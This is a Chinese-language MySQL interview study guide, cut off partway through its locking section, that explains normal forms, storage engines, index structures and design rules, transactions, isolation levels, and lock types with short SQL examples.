1 数据库基础知识1.1.1 为什么要使用数据库数据保存在内存优点: 存取速度快缺点: 数据不能永久保存数据保存在文件优点: 数据永久保存缺点:1)速度比内存操作慢,频繁的IO操作。2)查询数据不方便数据保存在数据库1.数据永久保存2.使用SQL语句,查询方便效率高。3.管理数据方便1.1.2 什么是SQL?结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询语言。作用:用于存取数据、查询、更新和管理关系数据库系统。1.1.3 什么是MySQL?MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。在Java企业级开发中非常常用,因为 MySQL 是开源免费的,并且方便扩展。1.1.4 数据库三大范式是什么第一范式:每个列都不可以再拆分。第二范式:在第一范式的基础上,非主键列完全依赖于主键,而不能是依赖于主键的一部分。第三范式:在第二范式的基础上,非主键列只依赖于主键,不依赖于其他非主键。在设计数据库结构的时候,要尽量遵守三范式,如果不遵守,必须有足够的理由。比如性能。事实上我们经常会为了性能而妥协数据库的设计。1.1.5 mysql有关权限的表都有哪几个MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在mysql数据库里,由mysql_install_db脚本初始化。这些权限表分别user,db,table_priv,columns_priv和host。下面分别介绍一下这些表的结构和内容:user权限表:记录允许连接到服务器的用户帐号信息,里面的权限是全局级的。db权限表:记录各个帐号在各个数据库上的操作权限。table_priv权限表:记录数据表级的操作权限。columns_priv权限表:记录数据列级的操作权限。host权限表:配合db权限表对给定主机上数据库级操作权限作更细致的控制。这个权限表不受GRANT和REVOKE语句的影响。1.1.6 MySQL的binlog有有几种录入格式?分别有什么区别?有三种格式,statement,row和mixed。statement模式下,每一条会修改数据的sql都会记录在binlog中。不需要记录每一行的变化,减少了binlog日志量,节约了IO,提高性能。由于sql的执行是有上下文的,因此在保存的时候需要保存相关的信息,同时还有一些使用了函数之类的语句无法被记录复制。row级别下,不记录sql语句上下文相关信息,仅保存哪条记录被修改。记录单元为每一行的改动,基本是可以全部记下来但是由于很多操作,会导致大量行的改动(比如alter table),因此这种模式的文件保存的信息太多,日志量太大。mixed,一种折中的方案,普通操作使用statement记录,当无法使用statement的时候使用row。此外,新版的MySQL中对row级别也做了一些优化,当表结构发生变化的时候,会记录语句而不是逐行记录。2 数据类型2.1 mysql有哪些数据类型1、整数类型,包括TINYINT、SMALLINT、MEDIUMINT、INT、BIGINT,分别表示1字节、2字节、3字节、4字节、8字节整数。任何整数类型都可以加上UNSIGNED属性,表示数据是无符号的,即非负整数。长度:整数类型可以被指定长度,例如:INT(11)表示长度为11的INT类型。长度在大多数场景是没有意义的,它不会限制值的合法范围,只会影响显示字符的个数,而且需要和UNSIGNED ZEROFILL属性配合使用才有意义。例子,假定类型设定为INT(5),属性为UNSIGNED ZEROFILL,如果用户插入的数据为12的话,那么数据库实际存储数据为00012。2、实数类型,包括FLOAT、DOUBLE、DECIMAL。DECIMAL可以用于存储比BIGINT还大的整型,能存储精确的小数。而FLOAT和DOUBLE是有取值范围的,并支持使用标准的浮点进行近似计算。计算时FLOAT和DOUBLE相比DECIMAL效率更高一些,DECIMAL你可以理解成是用字符串进行处理。3、字符串类型,包括VARCHAR、CHAR、TEXT、BLOBVARCHAR用于存储可变长字符串,它比定长类型更节省空间。VARCHAR使用额外1或2个字节存储字符串长度。列长度小于255字节时,使用1字节表示,否则使用2字节表示。VARCHAR存储的内容超出设置的长度时,内容会被截断。CHAR是定长的,根据定义的字符串长度分配足够的空间。CHAR会根据需要使用空格进行填充方便比较。CHAR适合存储很短的字符串,或者所有值都接近同一个长度。CHAR存储的内容超出设置的长度时,内容同样会被截断。使用策略:对于经常变更的数据来说,CHAR比VARCHAR更好,因为CHAR不容易产生碎片。对于非常短的列,CHAR比VARCHAR在存储空间上更有效率。使用时要注意只分配需要的空间,更长的列排序时会消耗更多内存。尽量避免使用TEXT/BLOB类型,查询时会使用临时表,导致严重的性能开销。4、枚举类型(ENUM),把不重复的数据存储为一个预定义的集合。有时可以使用ENUM代替常用的字符串类型。ENUM存储非常紧凑,会把列表值压缩到一个或两个字节。ENUM在内部存储时,其实存的是整数。尽量避免使用数字作为ENUM枚举的常量,因为容易混乱。排序是按照内部存储的整数5、日期和时间类型,尽量使用timestamp,空间效率高于datetime,用整数保存时间戳通常不方便处理。如果需要存储微妙,可以使用bigint存储。看到这里,这道真题是不是就比较容易回答了。3 引擎3.1 MySQL存储引擎MyISAM与InnoDB区别存储引擎Storage engine:MySQL中的数据、索引以及其他对象是如何存储的,是一套文件系统的实现。常用的存储引擎有以下:Innodb引擎:Innodb引擎提供了对数据库ACID事务的支持。并且还提供了行级锁和外键的约束。它的设计的目标就是处理大数据容量的数据库系统。MyIASM引擎(原本Mysql的默认引擎):不提供事务的支持,也不支持行级锁和外键。MEMORY引擎:所有的数据都在内存中,数据的处理速度快,但是安全性不高。3.2 MyISAM索引与InnoDB索引的区别?InnoDB索引是聚簇索引,MyISAM索引是非聚簇索引。InnoDB的主键索引的叶子节点存储着行数据,因此主键索引非常高效。MyISAM索引的叶子节点存储的是行数据地址,需要再寻址一次才能得到数据。InnoDB非主键索引的叶子节点存储的是主键和其他带索引的列数据,因此查询时做到覆盖索引会非常高效。3.3 InnoDB引擎的4大特性插入缓冲(insert buffer)二次写(double write)自适应哈希索引(ahi)预读(read ahead)3.4 存储引擎选择如果没有特别的需求,使用默认的Innodb即可。MyISAM:以读写插入为主的应用程序,比如博客系统、新闻门户网站。Innodb:更新(删除)操作频率也高,或者要保证数据的完整性;并发量高,支持事务和外键。比如OA自动化办公系统。4 索引4.1 什么是索引?索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。索引是一种数据结构。数据库索引,是数据库管理系统中一个排序的数据结构,以协助快速查询、更新数据库表中数据。索引的实现通常使用B树及其变种B+树。更通俗的说,索引就相当于目录。为了方便查找书中的内容,通过对内容建立索引形成目录。索引是一个文件,它是要占据物理空间的。4.2 索引有哪些优缺点?索引的优点可以大大加快数据的检索速度,这也是创建索引的最主要的原因。通过使用索引,可以在查询的过程中,使用优化隐藏器,提高系统的性能。索引的缺点时间方面:创建索引和维护索引要耗费时间,具体地,当对表中的数据进行增加、删除和修改的时候,索引也要动态的维护,会降低增/改/删的执行效率;空间方面:索引需要占物理空间。4.3 索引使用场景(重点)Where上图中,根据id查询记录,因为id字段仅建立了主键索引,因此此SQL执行可选的索引只有主键索引,如果有多个,最终会选一个较优的作为检索的依据。-- 增加一个没有建立索引的字段 alter table innodb1 add sex char(1); -- 按sex检索时可选的索引为null EXPLAIN SELECT * from innodb1 where sex='男'; 可以尝试在一个字段未建立索引时,根据该字段查询的效率,然后对该字段建立索引(alter table 表名 add index(字段名)),同样的SQL执行的效率,你会发现查询效率会有明显的提升(数据量越大越明显)。order by当我们使用order by将查询结果按照某个字段排序时,如果该字段没有建立索引,那么执行计划会将查询出的所有数据使用外部排序(将数据从硬盘分批读取到内存使用内部排序,最后合并排序结果),这个操作是很影响性能的,因为需要将查询涉及到的所有数据从磁盘中读到内存(如果单条数据过大或者数据量过多都会降低效率),更无论读到内存之后的排序了。但是如果我们对该字段建立索引alter table 表名 add index(字段名),那么由于索引本身是有序的,因此直接按照索引的顺序和映射关系逐条取出数据即可。而且如果分页的,那么只用取出索引表某个范围内的索引对应的数据,而不用像上述那取出所有数据进行排序再返回某个范围内的数据。(从磁盘取数据是最影响性能的)join对join语句匹配关系(on)涉及的字段建立索引能够提高效率索引覆盖如果要查询的字段都建立过索引,那么引擎会直接在索引表中查询而不会访问原始数据(否则只要有一个字段没有建立索引就会做全表扫描),这叫索引覆盖。因此我们需要尽可能的在select后只写必要的查询字段,以增加索引覆盖的几率。这里值得注意的是不要想着为每个字段建立索引,因为优先使用索引的优势就在于其体积小。4.4 索引有哪几种类型?主键索引: 数据列不允许重复,不允许为NULL,一个表只能有一个主键。唯一索引: 数据列不允许重复,允许为NULL值,一个表允许多个列创建唯一索引。可以通过 ALTER TABLE table_name ADD UNIQUE (column); 创建唯一索引可以通过 ALTER TABLE table_name ADD UNIQUE (column1,column2); 创建唯一组合索引普通索引: 基本的索引类型,没有唯一性的限制,允许为NULL值。可以通过ALTER TABLE table_name ADD INDEX index_name (column);创建普通索引可以通过ALTER TABLE table_name ADD INDEX index_name(column1, column2, column3);创建组合索引全文索引: 是目前搜索引擎使用的一种关键技术。可以通过ALTER TABLE table_name ADD FULLTEXT (column);创建全文索引4.5 索引的数据结构(b树,hash)索引的数据结构和具体存储引擎的实现有关,在MySQL中使用较多的索引有Hash索引,B+树索引等,而我们经常使用的InnoDB存储引擎的默认索引实现为:B+树索引。对于哈希索引来说,底层的数据结构就是哈希表,因此在绝大多数需求为单条记录查询的时候,可以选择哈希索引,查询性能最快;其余大部分场景,建议选择BTree索引。1)B树索引mysql通过存储引擎取数据,基本上90%的人用的就是InnoDB了,按照实现方式分,InnoDB的索引类型目前只有两种:BTREE(B树)索引和HASH索引。B树索引是Mysql数据库中使用最频繁的索引类型,基本所有存储引擎都支持BTree索引。通常我们说的索引不出意外指的就是(B树)索引(实际是用B+树实现的,因为在查看表索引时,mysql一律打印BTREE,所以简称为B树索引)查询方式:主键索引区:PI(关联保存的时数据的地址)按主键查询,普通索引区:si(关联的id的地址,然后再到达上面的地址)。所以按主键查询,速度最快B+tree性质:1.)n棵子tree的节点包含n个关键字,不用来保存数据而是保存数据的索引。2.)所有的叶子结点中包含了全部关键字的信息,及指向含这些关键字记录的指针,且叶子结点本身依关键字的大小自小而大顺序链接。3.)所有的非终端结点可以看成是索引部分,结点中仅含其子树中的最大(或最小)关键字。4.)B+ 树中,数据对象的插入和删除仅在叶节点上进行。5.)B+树有2个头指针,一个是树的根节点,一个是最小关键码的叶节点。2)哈希索引简要说下,类似于数据结构中简单实现的HASH表(散列表)一样,当我们在mysql中用哈希索引时,主要就是通过Hash算法(常见的Hash算法有直接定址法、平方取中法、折叠法、除数取余法、随机数法),将数据库字段数据转换成定长的Hash值,与这条数据的行指针一并存入Hash表的对应位置;如果发生Hash碰撞(两个不同关键字的Hash值相同),则在对应Hash键下以链表形式存储。当然这只是简略模拟图。4.6 索引的基本原理索引用来快速地寻找那些具有特定值的记录。如果没有索引,一般来说执行查询时遍历整张表。1.索引的原理很简单,就是把无序的数据变成有序的查询2.把创建了索引的列的内容进行排序3.对排序结果生成倒排表4.在倒排表内容上拼上数据地址链5.在查询的时候,先拿到倒排表内容,再取出数据地址链,从而拿到具体数据4.7 索引算法有哪些?索引算法有 BTree算法和Hash算法BTree算法BTree是最常用的mysql数据库索引算法,也是mysql默认的算法。因为它不仅可以被用在=,>,>=,<,<=和between这些比较操作符上,而且还可以用于like操作符,只要它的查询条件是一个不以通配符开头的常量, 例如:-- 只要它的查询条件是一个不以通配符开头的常量 select * from user where name like 'jack%'; -- 如果一通配符开头,或者没有使用常量,则不会使用索引,例如: select * from user where name like '%jack';Hash算法Hash Hash索引只能用于对等比较,例如=,<=>(相当于=)操作符。由于是一次定位数据,不像BTree索引需要从根节点到枝节点,最后才能访问到页节点这样多次IO访问,所以检索效率远高于BTree索引。4.8 索引设计的原则?1.适合索引的列是出现在where子句中的列,或者连接子句中指定的列2.基数较小的类,索引效果较差,没有必要在此列建立索引3.使用短索引,如果对长字符串列进行索引,应该指定一个前缀长度,这样能够节省大量索引空间4.不要过度索引。索引需要额外的磁盘空间,并降低写操作的性能。在修改表内容的时候,索引会进行更新甚至重构,索引列越多,这个时间就会越长。所以只保持需要的索引有利于查询即可。4.9 创建索引的原则(重中之重)索引虽好,但也不是无限制的使用,最好符合一下几个原则1) 最左前缀匹配原则,组合索引非常重要的原则,mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配,比如a = 1 and b = 2 and c > 3 and d = 4 如果建立(a,b,c,d)顺序的索引,d是用不到索引的,如果建立(a,b,d,c)的索引则都可以用到,a,b,d的顺序可以任意调整。2)较频繁作为查询条件的字段才去创建索引3)更新频繁字段不适合创建索引4)若是不能有效区分数据的列不适合做索引列(如性别,男女未知,最多也就三种,区分度实在太低)5)尽量的扩展索引,不要新建索引。比如表中已经有a的索引,现在要加(a,b)的索引,那么只需要修改原来的索引即可。6)定义有外键的数据列一定要建立索引。7)对于那些查询中很少涉及的列,重复值比较多的列不要建立索引。8)对于定义为text、image和bit的数据类型的列不要建立索引。4.10 创建索引的三种方式,删除索引第一种方式:在执行CREATE TABLE时创建索引CREATE TABLE user_index2 ( id INT auto_increment PRIMARY KEY, first_name VARCHAR (16), last_name VARCHAR (16), id_card VARCHAR (18), information text, KEY name (first_name, last_name), FULLTEXT KEY (information), UNIQUE KEY (id_card) );第二种方式:使用ALTER TABLE命令去增加索引ALTER TABLE table_name ADD INDEX index_name (column_list);ALTER TABLE用来创建普通索引、UNIQUE索引或PRIMARY KEY索引。其中table_name是要增加索引的表名,column_list指出对哪些列进行索引,多列时各列之间用逗号分隔。索引名index_name可自己命名,缺省时,MySQL将根据第一个索引列赋一个名称。另外,ALTER TABLE允许在单个语句中更改多个表,因此可以在同时创建多个索引。第三种方式:使用CREATE INDEX命令创建CREATE INDEX index_name ON table_name (column_list);CREATE INDEX可对表增加普通索引或UNIQUE索引。(但是,不能创建PRIMARY KEY索引)删除索引根据索引名删除普通索引、唯一索引、全文索引:alter table 表名 drop KEY 索引名alter table user_index drop KEY name; alter table user_index drop KEY id_card; alter table user_index drop KEY information;删除主键索引:alter table 表名 drop primary key(因为主键只有一个)。这里值得注意的是,如果主键自增长,那么不能直接执行此操作(自增长依赖于主键索引):需要取消自增长再行删除:alter table user_index -- 重新定义字段 MODIFY id int, drop PRIMARY KEY但通常不会删除主键,因为设计主键一定与业务逻辑无关。4.11 创建索引时需要注意什么?非空字段:应该指定列为NOT NULL,除非你想存储NULL。在mysql中,含有空值的列很难进行查询优化,因为它们使得索引、索引的统计信息以及比较运算更加复杂。你应该用0、一个特殊的值或者一个空串代替空值;取值离散大的字段:(变量各个取值之间的差异程度)的列放到联合索引的前面,可以通过count()函数查看字段的差异值,返回值越大说明字段的唯一值越多字段的离散程度高;索引字段越小越好:数据库的数据存储以页为单位一页存储的数据越多一次IO操作获取的数据越大效率越高。4.12 使用索引查询一定能提高查询的性能吗?为什么通常,通过索引查询数据比全表扫描要快。但是我们也必须注意到它的代价。索引需要空间来存储,也需要定期维护, 每当有记录在表中增减或索引列被修改时,索引本身也会被修改。 这意味着每条记录的INSERT,DELETE,UPDATE将为此多付出4,5 次的磁盘I/O。 因为索引需要额外的存储空间和处理,那些不必要的索引反而会使查询反应时间变慢。使用索引查询不一定能提高查询性能,索引范围查询(INDEX RANGE SCAN)适用于两种情况:基于一个范围的检索,一般查询返回结果集小于表中记录数的30%基于非唯一性索引的检索4.13 百万级别或以上的数据如何删除关于索引:由于索引需要额外的维护成本,因为索引文件是单独存在的文件,所以当我们对数据的增加,修改,删除,都会产生额外的对索引文件的操作,这些操作需要消耗额外的IO,会降低增/改/删的执行效率。所以,在我们删除数据库百万级别数据的时候,查询MySQL官方手册得知删除数据的速度和创建的索引数量是成正比的。1.所以我们想要删除百万数据的时候可以先删除索引(此时大概耗时三分多钟)2.然后删除其中无用数据(此过程需要不到两分钟)3.删除完成后重新创建索引(此时数据较少了)创建索引也非常快,约十分钟左右。4.与之前的直接删除绝对是要快速很多,更别说万一删除中断,一切删除会回滚。那更是坑了。4.14 前缀索引语法:index(field(10)),使用字段值的前10个字符建立索引,默认是使用字段的全部内容建立索引。前提:前缀的标识度高。比如密码就适合建立前缀索引,因为密码几乎各不相同。实操的难度:在于前缀截取的长度。我们可以利用select count(*)/count(distinct left(password,prefixLen));,通过从调整prefixLen的值(从1自增)查看不同前缀长度的一个平均匹配度,接近1时就可以了(表示一个密码的前prefixLen个字符几乎能确定唯一一条记录)4.15 什么是最左前缀原则?什么是最左匹配原则顾名思义,就是最左优先,在创建多列索引时,要根据业务需求,where子句中使用最频繁的一列放在最左边。最左前缀匹配原则,非常重要的原则,mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配,比如a = 1 and b = 2 and c > 3 and d = 4 如果建立(a,b,c,d)顺序的索引,d是用不到索引的,如果建立(a,b,d,c)的索引则都可以用到,a,b,d的顺序可以任意调整。=和in可以乱序,比如a = 1 and b = 2 and c = 3 建立(a,b,c)索引可以任意顺序,mysql的查询优化器会帮你优化成索引可以识别的形式4.16 B树和B+树的区别在B树中,你可以将键和值存放在内部节点和叶子节点;但在B+树中,内部节点都是键,没有值,叶子节点同时存放键和值。B+树的叶子节点有一条链相连,而B树的叶子节点各自独立。4.17 使用B树的好处B树可以在内部节点同时存储键和值,因此,把频繁访问的数据放在靠近根节点的地方将会大大提高热点数据的查询效率。这种特性使得B树在特定数据重复多次查询的场景中更加高效。4.18 使用B+树的好处由于B+树的内部节点只存放键,不存放值,因此,一次读取,可以在内存页中获取更多的键,有利于更快地缩小查找范围。 B+树的叶节点由一条链相连,因此,当需要进行一次全数据遍历的时候,B+树只需要使用O(logN)时间找到最小的一个节点,然后通过链进行O(N)的顺序遍历即可。而B树则需要对树的每一层进行遍历,这会需要更多的内存置换次数,因此也就需要花费更多的时间4.19 Hash索引和B+树所有有什么区别或者说优劣呢?首先要知道Hash索引和B+树索引的底层实现原理:hash索引底层就是hash表,进行查找时,调用一次hash函数就可以获取到相应的键值,之后进行回表查询获得实际数据。B+树底层实现是多路平衡查找树。对于每一次的查询都是从根节点出发,查找到叶子节点方可以获得所查键值,然后根据查询判断是否需要回表查询数据。那么可以看出他们有以下的不同:hash索引进行等值查询更快(一般情况下),但是却无法进行范围查询。因为在hash索引中经过hash函数建立索引之后,索引的顺序与原顺序无法保持一致,不能支持范围查询。而B+树的的所有节点皆遵循(左节点小于父节点,右节点大于父节点,多叉树也类似),天然支持范围。hash索引不支持使用索引进行排序,原理同上。hash索引不支持模糊查询以及多列索引的最左前缀匹配。原理也是因为hash函数的不可预测。AAAA和AAAAB的索引没有相关性。hash索引任何时候都避免不了回表查询数据,而B+树在符合某些条件(聚簇索引,覆盖索引等)的时候可以只通过索引完成查询。hash索引虽然在等值查询上较快,但是不稳定。性能不可预测,当某个键值存在大量重复的时候,发生hash碰撞,此时效率可能极差。而B+树的查询效率比较稳定,对于所有的查询都是从根节点到叶子节点,且树的高度较低。因此,在大多数情况下,直接选择B+树索引可以获得稳定且较好的查询速度。而不需要使用hash索引。4.20 数据库为什么使用B+树而不是B树B树只适合随机检索,而B+树同时支持随机检索和顺序检索;B+树空间利用率更高,可减少I/O次数,磁盘读写代价更低。一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。这样的话,索引查找过程中就要产生磁盘I/O消耗。B+树的内部结点并没有指向关键字具体信息的指针,只是作为索引使用,其内部结点比B树小,盘块能容纳的结点中关键字数量更多,一次性读入内存中可以查找的关键字也就越多,相对的,IO读写次数也就降低了。而IO读写次数是影响索引检索效率的最大因素;B+树的查询效率更加稳定。B树搜索有可能会在非叶子结点结束,越靠近根节点的记录查找时间越短,只要找到关键字即可确定记录的存在,其性能等价于在关键字全集内做一次二分查找。而在B+树中,顺序检索比较明显,随机检索时,任何关键字的查找都必须走一条从根节点到叶节点的路,所有关键字的查找路径长度相同,导致每一个关键字的查询效率相当。B-树在提高了磁盘IO性能的同时并没有解决元素遍历的效率低下的问题。B+树的叶子节点使用指针顺序连接在一起,只要遍历叶子节点就可以实现整棵树的遍历。而且在数据库中基于范围的查询是非常频繁的,而B树不支持这样的操作。增删文件(节点)时,效率更高。因为B+树的叶子节点包含所有关键字,并以有序的链表结构存储,这样可很好提高增删效率。4.21 B+树在满足聚簇索引和覆盖索引的时候不需要回表查询数据在B+树的索引中,叶子节点可能存储了当前的key值,也可能存储了当前的key值以及整行的数据,这就是聚簇索引和非聚簇索引。 在InnoDB中,只有主键索引是聚簇索引,如果没有主键,则挑选一个唯一键建立聚簇索引。如果没有唯一键,则隐式的生成一个键来建立聚簇索引。当查询使用聚簇索引时,在对应的叶子节点,可以获取到整行数据,因此不用再次进行回表查询。4.21 什么是聚簇索引?何时使用聚簇索引与非聚簇索引聚簇索引:将数据存储与索引放到了一块,找到索引也就找到了数据非聚簇索引:将数据存储于索引分开结构,索引结构的叶子节点指向了数据的对应行,myisam通过key_buffer把索引先缓存到内存中,当需要访问数据时(通过索引访问数据),在内存中直接搜索索引,然后通过索引找到磁盘相应数据,这也就是为什么索引不在key buffer命中时,速度慢的原因澄清一个概念:innodb中,在聚簇索引之上创建的索引称之为辅助索引,辅助索引访问数据总是需要二次查找,非聚簇索引都是辅助索引,像复合索引、前缀索引、唯一索引,辅助索引叶子节点存储的不再是行的物理位置,而是主键值何时使用聚簇索引与非聚簇索引4.22 非聚簇索引一定会回表查询吗?答:不一定,这涉及到查询语句所要求的字段是否全部命中了索引,如果全部命中了索引,那么就不必再进行回表查询。举个简单的例子,假设我们在员工表的年龄上建立了索引,那么当进行select age from employee where age < 20的查询时,在索引的叶子节点上,已经包含了age信息,不会再次进行回表查询。4.23 联合索引是什么?为什么需要注意联合索引中的顺序?MySQL可以使用多个字段同时建立一个索引,叫做联合索引。在联合索引中,如果想要命中索引,需要按照建立索引时的字段顺序挨个使用,否则无法命中索引。具体原因为:MySQL使用索引时需要索引有序,假设现在建立了"name,age,school"的联合索引,那么索引的排序为: 先按照name排序,如果name相同,则按照age排序,如果age的值也相等,则按照school进行排序。当进行查询时,此时索引仅仅按照name严格有序,因此必须首先使用name字段进行等值查询,之后对于匹配到的列而言,其按照age字段严格有序,此时可以使用age字段用做索引查找,以此类推。因此在建立联合索引的时候应该注意索引列的顺序,一般情况下,将查询需求频繁或者字段选择性高的列放在前面。此外可以根据特例的查询或者表结构进行单独的调整。5 事务5.1 什么是数据库事务?事务是一个不可分割的数据库操作序列,也是数据库并发控制的基本单位,其执行的结果必须使数据库从一种一致性状态变到另一种一致性状态。事务是逻辑上的一组操作,要么都执行,要么都不执行。事务最经典也经常被拿出来说例子就是转账了。假如小明要给小红转账1000元,这个转账会涉及到两个关键操作就是:将小明的余额减少1000元,将小红的余额增加1000元。万一在这两个操作之间突然出现错误比如银行系统崩溃,导致小明余额减少而小红的余额没有增加,这样就不对了。事务就是保证这两个关键操作要么都成功,要么都要失败。5.2 事物的四大特性(ACID)介绍一下?关系性数据库需要遵循ACID规则,具体内容如下:1.原子性: 事务是最小的执行单位,不允许分割。事务的原子性确保动作要么全部完成,要么完全不起作用;2.一致性: 执行事务前后,数据保持一致,多个事务对同一个数据读取的结果是相同的;3.隔离性: 并发访问数据库时,一个用户的事务不被其他事务所干扰,各并发事务之间数据库是独立的;4.持久性: 一个事务被提交之后。它对数据库中数据的改变是持久的,即使数据库发生故障也不应该对其有任何影响。5.3 什么是脏读?幻读?不可重复读?脏读(Drity Read):某个事务已更新一份数据,另一个事务在此时读取了同一份数据,由于某些原因,前一个RollBack了操作,则后一个事务所读取的数据就会是不正确的。不可重复读(Non-repeatable read):在一个事务的两次查询之中数据不一致,这可能是两次查询过程中间插入了一个事务更新的原有的数据。幻读(Phantom Read):在一个事务的两次查询中数据笔数不一致,例如有一个事务查询了几列(Row)数据,而另一个事务却在此时插入了新的几列数据,先前的事务在接下来的查询中,就会发现有几列数据是它先前所没有的。5.4 什么是事务的隔离级别?MySQL的默认隔离级别是什么?为了达到事务的四大特性,数据库定义了4种不同的事务隔离级别,由低到高依次为Read uncommitted、Read committed、Repeatable read、Serializable,这四个级别可以逐个解决脏读、不可重复读、幻读这几类问题。SQL 标准定义了四个隔离级别:READ-UNCOMMITTED(读取未提交): 最低的隔离级别,允许读取尚未提交的数据变更,可能会导致脏读、幻读或不可重复读。READ-COMMITTED(读取已提交): 允许读取并发事务已经提交的数据,可以阻止脏读,但是幻读或不可重复读仍有可能发生。REPEATABLE-READ(可重复读): 对同一字段的多次读取结果都是一致的,除非数据是被本身事务自己所修改,可以阻止脏读和不可重复读,但幻读仍有可能发生。SERIALIZABLE(可串行化): 最高的隔离级别,完全服从ACID的隔离级别。所有的事务依次逐个执行,这样事务之间就完全不可能产生干扰,也就是说,该级别可以防止脏读、不可重复读以及幻读。这里需要注意的是:Mysql 默认采用的 REPEATABLE_READ隔离级别 Oracle 默认采用的 READ_COMMITTED隔离级别事务隔离机制的实现基于锁机制和并发调度。其中并发调度使用的是MVVC(多版本并发控制),通过保存修改的旧版本信息来支持并发一致性读和回滚等特性。因为隔离级别越低,事务请求的锁越少,所以大部分数据库系统的隔离级别都是READ-COMMITTED(读取提交内容):,但是你要知道的是InnoDB 存储引擎默认使用 **REPEATABLE-READ(可重读)**并不会有任何性能损失。InnoDB 存储引擎在 分布式事务 的情况下一般会用到**SERIALIZABLE(可串行化)**隔离级别。6 锁6.1 对MySQL的锁了解吗当数据库有并发事务的时候,可能会产生数据的不一致,这时候需要一些机制来保证访问的次序,锁机制就是这样的一个机制。就像酒店的房间,如果大家随意进出,就会出现多人抢夺同一个房间的情况,而在房间上装上锁,申请到钥匙的人才可以入住并且将房间锁起来,其他人只有等他使用完毕才可以再次使用。6.2 隔离级别与锁的关系在Read Uncommitted级别下,读取数据不需要加共享锁,这样就不会跟被修改的数据上的排他锁冲突在Read Committed级别下,读操作需要加共享锁,但是在语句执行完以后释放共享锁;在Repeatable Read级别下,读操作需要加共享锁,但是在事务提交之前并不释放共享锁,也就是必须等待事务执行完毕以后才释放共享锁。SERIALIZABLE 是限制性最强的隔离级别,因为该级别锁定整个范围的键,并一直持有锁,直到事务完成。6.3 按照锁的粒度分数据库锁有哪些?锁机制与InnoDB锁算法在关系型数据库中,可以按照锁的粒度把数据库锁分为行级锁(INNODB引擎)、表级锁(MYISAM引擎)和页级锁(BDB引擎 )。MyISAM和InnoDB存储引擎使用的锁:MyISAM采用表级锁(table-level locking)。InnoDB支持行级锁(row-level locking)和表级锁,默认为行级锁行级锁,表级锁和页级锁对比行级锁 行级锁是Mysql中锁定粒度最细的一种锁,表示只针对当前操作的行进行加锁。行级锁能大大减少数据库操作的冲突。其加锁粒度最小,但加锁的开销也最大。行级锁分为共享锁 和 排他锁。特点:开销大,加锁慢;会出现死锁;锁定粒度最小,发生锁冲突的概率最低,并发度也最高。表级锁 表级锁是MySQL中锁定粒度最大的一种锁,表示对当前操作的整张表加锁,它实现简单,资源消耗较少,被大部分MySQL引擎支持。最常使用的MYISAM与INNODB都支持表级锁定。表级锁定分为表共享读锁(共享锁)与表独占写锁(排他锁)。特点:开销小,加锁快;不会出现死锁;锁定粒度大,发出锁冲突的概率最高,并发度最低。页级锁 页级锁是MySQL中锁定粒度介于行级锁和表级锁中间的一种锁。表级锁速度快,但冲突多,行级冲突少,但速度慢。所以取了折衷的页级,一次锁定相邻的一组记录。特点:开销和加锁时间界于表锁和行锁之间;会出现死锁;锁定粒度界于表锁和行锁之间,并发度一般6.4 从锁的类别上MySQL都有哪些锁呢?像上面进行锁定有点阻碍并发效率?从锁的类别上来讲,有共享锁和排他锁。共享锁: 又叫做读锁。 当用户要进行数据的读取时,对数据加上共享锁。共享锁可以同时加上多个。排他锁: 又叫做写锁。 当用户要进行数据的写入时,对数据加上排他锁。排他锁只可以加一个,他和其他的排他锁,共享锁都相斥。用上面的例子来说就是用户的行为有两种,一种是来看房,多个用户一起看房是可以接受的。 一种是真正的入住一晚,在这期间,无论是想入住的还是想看房的都不可以。锁的粒度取决于具体的存储引擎,InnoDB实现了行级锁,页级锁,表级锁。他们的加锁开销从大到小,并发能力也是从大到小。6.5 MySQL中InnoDB引擎的行锁是怎么实现的?答:InnoDB是基于索引来完成行锁例: select * from tab_with_index where id = 1 for update;for update 可以根据条件来完成行锁锁定,并且 id 是有索引键的列,如果 id 不是索引键那么InnoDB将完成表锁,并发将无从谈起6.6 InnoDB存储引擎的锁的算法有三种Record lock:单个行记录上的锁Gap lock:间隙锁,锁定一个范围,不包括记录本身Next-key lock:record+gap 锁定一个范围,包含记录本身相关知识点:1.innodb对于行的查询使用next-key lock2.Next-locking keying为了解决Phantom Problem幻读问题3.当查询的索引含有唯一属性时,将next-key lock降级为record key4.Gap锁设计的目的是为了阻止多个事务将记录插入到同一范围内,而这会导致幻读问题的产生5.有两种方式显式关闭gap锁:(除了外键约束和唯一性检查外,其余情况仅使用record lock) A. 将事务隔离级别设置为RC B. 将参数innodb_locks_unsafe_for_binlog设置为16.7 什么是死锁?怎么解决?死锁是指两个或多个事务在同一资源上相互占用,并请求锁定对方的资源,从而导致恶性循环的现象。常见的解决死锁的方法1、如果不同程序会并发存取多个表,尽量约定以相同的顺序访问表,可以大大降低死锁机会。2、在同一个事务中,尽可能做到一次锁定所需要的所有资源,减少死锁产生概率;3、对于非常容易产生死锁的业务部分,可以尝试使用升级锁定颗粒度,通过表级锁定来减少死锁产生的概率;如果业务处理不好可以用分布式事务锁或者使用乐观锁6.8 